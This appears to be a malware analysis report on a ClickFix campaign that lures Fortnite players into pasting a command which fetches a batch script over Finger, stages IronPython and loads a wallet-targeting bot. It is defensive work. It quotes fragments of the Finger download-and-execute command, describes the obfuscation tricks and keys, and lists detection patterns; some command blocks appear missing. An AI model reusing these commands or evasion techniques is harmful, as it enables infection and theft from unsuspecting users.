| Campaign name | FortCheck (analyst designation, after the lure domain) |
| Analyst | Christopher Willett |
| Report date | 2026-10-21 |
| Analysis window | 2026-10-20 to 2026-10-21 |
| Distribution | TLP:CLEAR |
| Targeted platform | Microsoft Windows |
| Initial access | YouTube Shorts advertisement leading to a ClickFix page |
| Final payload | 32-bit Windows PE, bot with remote command execution and wallet targeting |
| Status | All stages recovered. Abuse reports filed with all registrars and hosting providers. |
All network indicators in this report are defanged. Malware samples are not distributed with this report.
FortCheck is a malware campaign that uses YouTube Shorts advertisements to target Fortnite players. The ads promise a free account valuation and 5,000 V-Bucks and direct viewers to fortcheck[.]io. Instead of a result, the site presents a counterfeit Cloudflare verification prompt, branded as teams.microsoft.com, that instructs the visitor to open the Windows Run dialog, paste a command the page has already placed on the clipboard, and press Enter.
That single action starts a twelve-stage infection chain. The first ten stages rely on built-in Windows utilities and legitimate software: a Finger query retrieves a batch script, the script downloads an authentic IronPython release from GitHub, and five layers of encoded Python decode and execute shellcode in memory. The shellcode then retrieves an RC4 and XOR protected PE that serves as the final payload, a bot capable of executing arbitrary commands, elevating privileges, and targeting cryptocurrency wallets.
The campaign's infrastructure was registered between 2026-10-01 and 2026-10-15 and was live at the time of analysis. Abuse reports were filed with every registrar and hosting provider involved on 2026-10-21.
Why this works on cautious users too. ClickFix style attacks, where a fake verification page talks the visitor into pasting and running a command themselves, have become noticeably more common over the past few months. Two things make this particular version effective. The page borrows the Cloudflare brand that people already associate with legitimate bot checks, so pressing Windows Key + R and Ctrl + V can read as just another step in a verification flow rather than as running a program. And the clipboard payload is built to look harmless: as detailed in Stage 1, the actual command is padded out of the visible area, so the Run dialog shows only a line of dashes and the words "Please press Enter." Anyone who checks the full contents of that box, rather than trusting what is on screen, will see the real command. A solid share of non-technical users, including the young Fortnite audience this campaign targets, would have no reason to look.
Each stage before the last exists only to conceal the next. The only third-party resources are the Finger server and a legitimate GitHub release; every later stage and the C2 share a single domain.
| Stage | Component | Purpose | Protection |
|---|---|---|---|
| 0 | fortcheck[.]io ClickFix page | Social engineering | None |
| 1 | Run dialog command | Retrieve stage 2 over Finger | Caret escaping, casing, padding |
| 2 | Finger response (batch) | Stage IronPython, launch stage 3 | Blank-line padding, quote insertion |
| 3 | Python one-liner | Spawn second interpreter | base64, zlib, UTF-32 |
| 4 | exec() wrapper | Obfuscation layer | base64, zlib, UTF-32 |
| 5 | Python downloader | Retrieve stage 6 | Per-build random comment |
| 6 | timer4 | Carry stage 7 | Cyrillic substitution, base64 |
| 7 | Python shellcode loader | Execute stage 8 in memory | 23-byte XOR |
| 8 | x86 shellcode | Retrieve stage 9 | Stack strings |
| 9 | /v4 response | Carry stage 10 | RC4 (64-byte key) |
| 10 | XOR container | Carry stage 11 | 8-byte XOR |
| 11 | Final PE | Bot and stealer | XOR-encoded strings |
The YouTube Shorts advertisement (youtube[.]com/shorts/EOLjmlbtvzA) links to fortcheck[.]io, which presents itself as a Fortnite account value checker. In place of a result, the site renders a counterfeit Cloudflare verification challenge branded as teams.microsoft.com.
The page writes a command to the clipboard before the visitor interacts with it. The on-screen instructions (Windows Key + R, Ctrl + V, Enter) cause the victim to execute that command directly, removing the need for a browser exploit or file download prompt.
The clipboard command, with the domain defanged:
%COMSPEC% and caret escaping (m^i^n, f^^i^^n^^g^^e^^r) defeat literal string matching on "finger" and the domain.cmd /c start invocations keep all windows hidden.finger ZzyhacfeHx@grillcrafts[.]com queries a Finger server on TCP 79 using a campaign-specific username. The for /f ... do %c loop executes each line of the response as a command.The Finger response (approximately 3 KB) is a batch script.
Login: and Directory: fail harmlessly inside the loop; only the call lines execute.%LocalAppData%\IronPython.3.4.2.C""""u""R""l resolves to curl and downloads IronPython.3.4.2.zip from the official IronLanguages GitHub release. Because the host is legitimate, URL reputation controls do not block it..pdf and extracted with tar -xf, which identifies the format by content rather than extension.explorer.exe is started, forcibly terminated with taskkill /f /fi "IMAGENAME eq explor*", and restarted, closing the Run dialog and visible windows. The victim observes a brief screen flicker at most.ipyw32.exe, the signed, windowless IronPython interpreter (written as i""p""y""w32), is launched from the net462 directory with -c and an encoded Python one-liner.The argument is base64 decoded, zlib decompressed and decoded as UTF-32, yielding Python source that is executed in a second interpreter via sys.executable -c. Because IronPython runs on .NET, subsequent stages can call .NET and Win32 APIs directly.
Repeats the stage 3 decoding pattern and executes the result with exec. The stage serves only as an additional obfuscation layer.
ssl._create_unverified_context disables certificate validation.The 14,588-byte timer4 payload is base64 with nine characters replaced by Cyrillic lookalikes, which prevents it from decoding or matching as base64. Chained .replace() calls restore the original characters before decoding.
| Cyrillic | Base64 character |
|---|---|
| П | h |
| з | F |
| б | y |
| Г | X |
| ё | D |
| х | M |
| З | 2 |
| К | K |
| Ё | O |
The 9,331-byte Python loader decrypts a 6,368-byte blob using a repeating 23-byte XOR key (cc5a3b732989e16f8f8e076ec3b978c98a9792c0a3962a). It creates an executable private heap, copies the decrypted bytes into it, casts the pointer to a function and invokes it, with 3- and 4-second sleeps between steps. The function pointer is truncated to 32 bits, so the loader only functions in a 32-bit process, consistent with ipyw32.exe.
The shellcode constructs its strings on the stack and resolves APIs from ntdll, kernel32, shlwapi, user32, wininet, shell32 and comdlg32. Under emulation it retrieves the next stage over HTTPS via WinINet from hxxps://elrianda[.]com/b03f2267-bcc3-5374-a99b-a1537a7341f5/v4, presenting a Chrome 143 user agent:
| Offset | Size | Contents |
|---|---|---|
| 0x00 | 64 bytes | RC4 key |
| 0x40 | Remainder | RC4-encrypted payload |
The key is transmitted with the ciphertext. The encryption serves to evade network inspection and static scanning rather than to protect the payload from analysis.
The decrypted data contains a structure at offset 0x3F, referenced through EDI by the loader:
| Offset | Size | Contents |
|---|---|---|
| +0x00 | DWORD | Encrypted size + 0x0C |
| +0x04 | 8 bytes | XOR key |
| +0x0C | Encrypted size | XOR-encoded PE |
Applying the repeating 8-byte key yields a valid PE.
A 32-bit Windows executable built with a recent MSVC toolchain, which resolves FlsGetValue2 during CRT initialization. Its behavior is described in the next section.
| Capability | Detail |
|---|---|
| Single instance control | Creates mutex 0slP2DalmrAJZ8assVzW9lBH1 at startup |
| Host registration | Reports system architecture, hostname and a bot identifier to the C2 |
| Remote execution | Executes command lines supplied by the operator |
| Privilege escalation | Relaunches itself with administrator rights via runas |
| Credential and asset theft | Contains functionality and configuration fields targeting cryptocurrency wallets |
| String protection | Sensitive strings, including the C2 host, are stored XOR encoded in the data section and decoded at runtime with a short key embedded in code |
Wallet targeting is supported by code and configuration evidence but was not observed end to end during emulation.
| Endpoint | hxxps://elrianda[.]com/88b7a6d9-65ab-5467-b09e-20193b9ab968 |
| Transport | HTTPS via WinHTTP |
| User agent | KRe7oRuIruCFW1wO3yHK7CZVq7DoWz9 |
| Additional config value | 9a89bd0e-375d-55ad-b5fd-ceb8733b73d5 (role unconfirmed) |
The C2 server responds only to requests that carry the hardcoded user agent. Requests from standard browsers or scanners receive no meaningful response. This gating reduces exposure to automated analysis, but also makes the user agent a high-confidence network detection, as no legitimate software is known to use it.
Payload delivery and C2 are hosted on the same domain under separate UUID paths.
Registration and network data was collected on 2026-10-21 from registry RDAP, RIPEstat and public DNS.
| Domain | Role | Registrar | Registered | Address | Network |
|---|---|---|---|---|---|
| fortcheck[.]io | Lure and ClickFix page | Spaceship, Inc. | 2026-10-12 | 104.21.39[.]54 | AS13335 Cloudflare (proxied), origin at Ultahost, Inc. (ULTAHOST-AS, US) per Cloudflare |
| grillcrafts[.]com | Finger server, stage 2 | Hostinger operations, UAB | 2026-10-15 | 38.146.28[.]245 | AS174 Cogent Communications |
| elrianda[.]com | Stages 6 and 9, C2 | Hostinger operations, UAB | 2026-10-01 | 185.168.208[.]41 | AS215540 Global Connectivity Solutions LLP |
.com domains use Hostinger's parking nameservers (dns-parking.com) while resolving to third-party hosting.fortcheck[.]io is proxied through Cloudflare, concealing its origin server. Cloudflare later identified the origin host as Ultahost, Inc. (ULTAHOST-AS, US) as part of its response to this report.| Type | Indicator | Context |
|---|---|---|
| Domain | fortcheck[.]io | Lure site and ClickFix page |
| Domain | grillcrafts[.]com | Finger server (TCP 79) |
| Domain | elrianda[.]com | Payload delivery and C2 |
| IPv4 | 38.146.28[.]245 | grillcrafts[.]com |
| IPv4 | 185.168.208[.]41 | elrianda[.]com |
| URL | hxxps://elrianda[.]com/b03f2267-bcc3-5374-a99b-a1537a7341f5/timer4 | Stage 6 delivery |
| URL | hxxps://elrianda[.]com/b03f2267-bcc3-5374-a99b-a1537a7341f5/v4 | Stage 9 delivery |
| URL | hxxps://elrianda[.]com/88b7a6d9-65ab-5467-b09e-20193b9ab968 | C2 |
| URL | youtube[.]com/shorts/EOLjmlbtvzA | Lure advertisement |
| Finger query | ZzyhacfeHx@grillcrafts[.]com | Stage 1 |
| User agent | KRe7oRuIruCFW1wO3yHK7CZVq7DoWz9 | C2 traffic |
| User agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 | Stage 8, from a non-browser process |
| Type | Indicator | Context |
|---|---|---|
| Mutex | 0slP2DalmrAJZ8assVzW9lBH1 | Final payload |
| Directory | %LocalAppData%\IronPython.3.4.2\ | Staging directory |
| File | %LocalAppData%\IronPython.3.4.2.pdf | ZIP archive with .pdf extension |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU entry containing "finger" | Evidence of stage 1 execution |
| XOR key | cc5a3b732989e16f8f8e076ec3b978c98a9792c0a3962a | Stage 7 |
| Config value | 9a89bd0e-375d-55ad-b5fd-ceb8733b73d5 | Final payload |
| Stage | Description | SHA-256 |
|---|---|---|
| 3 | Python one-liner, decoded | 3c131a6aeb44a88074de3b2d2241b7cf3d0504db1cacb4bcde077d6e9fa49764 |
| 5 | Downloader, decoded | 303dc4c036b970c8b92bd8fa04a857271325e42eb1c06311299c85d11a758ee1 |
| 7 | Shellcode loader, decoded | 984b0bbd98b71a9c31329820c2c091bb0b268277c577f455072fabdc8ac74f5f |
| 8 | Shellcode, decrypted | c8d59ba2dc5d665af80b83da25c2d586693f95565b6b87c45f25b3bc125563c6 |
Hashes for the Finger response, timer4, the /v4 container and the final PE are omitted from this report. The stage 5 downloader contains a randomized comment per build, so its hash is unlikely to match other samples.
Legitimate resource abused. github[.]com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip. The file is benign. Its download by curl.exe from a cmd.exe child process is the indicator.
| Tactic | ID | Technique | Observed in |
|---|---|---|---|
| Initial Access | T1189 | Drive-by Compromise | Stage 0, ad-driven traffic to fortcheck[.]io |
| Execution | T1204.004 | User Execution: Malicious Copy and Paste | Stage 0 to 1 |
| Execution | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | Stages 1, 2 and 11 |
| Execution | T1059.006 | Command and Scripting Interpreter: Python | Stages 3 to 7 |
| Defense Evasion | T1027 | Obfuscated Files or Information | Stages 1 to 11 |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Stages 3 to 10 |
| Defense Evasion | T1036.008 | Masquerading: Masquerade File Type | Stage 2, ZIP renamed to .pdf |
| Defense Evasion | T1497.003 | Virtualization/Sandbox Evasion: Time Based Evasion | Stages 5 and 7 |
| Defense Evasion | T1620 | Reflective Code Loading | Stage 7 |
| Discovery | T1082 | System Information Discovery | Stage 11 check-in |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | Stages 5, 8 and 11 |
| Command and Control | T1071 | Application Layer Protocol | Stage 1, Finger on TCP 79 |
| Command and Control | T1105 | Ingress Tool Transfer | Stages 2, 5 and 8 |
The chain is most cheaply broken at stage 1. Blocking outbound TCP 79 and alerting on finger.exe stops the infection before any payload is retrieved.
fortcheck[.]io, grillcrafts[.]com and elrianda[.]com.The C2 user agent is only visible where TLS inspection is in place. DNS and TLS SNI rules apply without it.
explorer.exe > cmd.exe > cmd.exe > finger.execurl.exe followed by tar.exe from the same cmd.exe parent within a short windowexplorer.exe terminated by taskkill and restarted within secondsfinger, %comspec% or caret charactersipy.exe or ipyw32.exe processes0slP2DalmrAJZ8assVzW9lBH1 across the endpoint fleetAny system on which the stage 1 command was executed should be treated as fully compromised.
For parents and guardians: no legitimate game, rewards site or verification page asks a user to press Windows Key + R and paste a command. Treat any such instruction as an attack.
| Date | Event |
|---|---|
| 2026-10-20 | Lure advertisement identified. Analysis of stages 0 through 8 begins. |
| 2026-10-21 | Stages 9 through 11 recovered. Final payload analyzed. |
| 2026-10-21 | Abuse reports filed with Hostinger (registrar, elrianda[.]com and grillcrafts[.]com), Spaceship (registrar, fortcheck[.]io), Global Connectivity Solutions (hosting, elrianda[.]com), Cogent Communications (network, grillcrafts[.]com) and Cloudflare (proxy, fortcheck[.]io). |
| 2026-10-21 | Advertisement reported to YouTube. |
| 2026-10-21, 04:33 CDT | Cloudflare restricted access to fortcheck[.]io, forwarded the report to the site owner and the origin host, and identified the origin host as Ultahost, Inc. (ULTAHOST-AS, US). |
| 2026-10-21, 04:33 CDT | Abuse report filed directly with Ultahost immediately after Cloudflare identified it as the origin host. |
| 2026-10-21 | Ultahost acknowledged the report by email, stating it was contacting the affected customer. |
| 2026-10-21, 05:33 CDT | Ultahost took the site down. fortcheck[.]io now returns a Cloudflare 522 error, indicating the origin is unreachable. |
| Pending | Takedown confirmations from Hostinger, Spaceship, Global Connectivity Solutions and Cogent. |
Cloudflare restricted access and identified the origin host within the same early morning window the report was filed. Ultahost was notified directly at the moment that origin was identified, and had taken the site down entirely within the hour. Both responses are worth calling out on their own: they are the fastest action taken against any part of this infrastructure, and they show what a quick report to the right providers can accomplish while the slower registrar and hosting processes are still pending.
Analysis was performed in a Kali Linux virtual machine under VirtualBox, allocated 6 GB of memory. Emulation ran inside an isolated network namespace (unshare -n) with no network access. Static analysis of the final payload was performed in Ghidra using the CodeBrowser tool only. No stage was executed natively. Samples were stored in password-protected archives when not in use.
| Tool | Application |
|---|---|
| Python | Static decoding of stages 2 through 7 and unwrapping of the stage 9 and 10 containers |
| Speakeasy (Mandiant) | Emulation of the stage 8 shellcode and the stage 11 executable |
| Ghidra | Reverse engineering of container formats and the final payload's string decoding |
| FLOSS (Mandiant) | Recovery of decoded, stack and tight strings from the final payload |
| curl | Controlled retrieval of the stage 9 container |
distutils and pkg_resources, both removed from current Python and setuptools releases. Installing setuptools<81 in the virtual environment resolved the issue.kernel32.FlsGetValue2, an API introduced in recent Windows versions for which Speakeasy has no handler. A stub forwarding to the existing FlsGetValue handler allowed emulation to proceed through C2 communication to process exit. Analysts emulating binaries built with current Visual Studio toolchains will likely encounter the same limitation.